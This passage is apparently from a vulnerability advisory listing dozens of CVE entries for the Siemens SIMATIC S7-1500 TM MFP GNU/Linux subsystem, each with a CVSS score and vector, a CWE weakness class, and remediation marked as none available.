CVE-2024-46854

7.1 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

CWE-125 - Out-of-bounds Read

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-46865

7.1 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

CWE-908 - Use of Uninitialized Resource

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-47660

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-413 - Improper Resource Locking

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-47684

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-47685

9.1 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

CWE-908 - Use of Uninitialized Resource

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-47692

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-47696

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-47697

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-787 - Out-of-bounds Write

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-47699

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-47701

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-47705

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-47706

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-47707

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-47709

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-825 - Expired Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-47710

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-400 - Uncontrolled Resource Consumption

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-47713

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-664 - Improper Control of a Resource Through its Lifetime

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-47718

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-47723

7.1 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

CWE-125 - Out-of-bounds Read

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-47735

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-667 - Improper Locking

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-47737

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-47747

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-49851

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-459 - Incomplete Cleanup

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-49889

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-49890

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-49892

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-369 - Divide By Zero

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-49894

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-129 - Improper Validation of Array Index

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-49900

7.1 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

CWE-908 - Use of Uninitialized Resource

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-49902

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-125 - Out-of-bounds Read

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-49903

7.0 (High)


                        
                          CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-49930

6.4 (Medium)


                        
                          CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

CWE-125 - Out-of-bounds Read

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-49938

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-824 - Access of Uninitialized Pointer

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-49944

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-49948

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-124 - Buffer Underwrite ('Buffer Underflow')

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-49949

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-124 - Buffer Underwrite ('Buffer Underflow')

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-49952

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-49955

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-672 - Operation on a Resource after Expiration or Release

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-49973

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-787 - Out-of-bounds Write

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-49977

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-49997

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-226 - Sensitive Information in Resource Not Removed Before Reuse

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-50001

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-755 - Improper Handling of Exceptional Conditions

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-50006

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-833 - Deadlock

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-50008

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-787 - Out-of-bounds Write

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-50010

4.7 (Medium)


                        
                          CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-50015

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-665 - Improper Initialization

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-50033

7.1 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

CWE-908 - Use of Uninitialized Resource

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-50035

7.1 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

CWE-908 - Use of Uninitialized Resource

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-50039

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-50040

6.2 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE-390 - Detection of Error Condition Without Action

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-50044

3.3 (Low)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

CWE-667 - Improper Locking

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-50045

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-50046

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-50058

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-50095

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-667 - Improper Locking

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-50121

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-50127

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-50131

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-120 - Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-50134

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-787 - Out-of-bounds Write

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-50142

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-50148

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-459 - Incomplete Cleanup

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-50150

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-50151

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-787 - Out-of-bounds Write

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-50153

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-50188

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-787 - Out-of-bounds Write

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-50205

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-369 - Divide By Zero

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-50210

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-667 - Improper Locking

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-50251

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-131 - Incorrect Calculation of Buffer Size

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-50262

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-787 - Out-of-bounds Write

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-50299

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-908 - Use of Uninitialized Resource

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-50301

7.1 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

CWE-125 - Out-of-bounds Read

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-50302

3.3 (Low)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

CWE-908 - Use of Uninitialized Resource

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-53042

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-662 - Improper Synchronization

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-53057

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-53059

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-460 - Improper Cleanup on Thrown Exception

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-53101

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-908 - Use of Uninitialized Resource

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
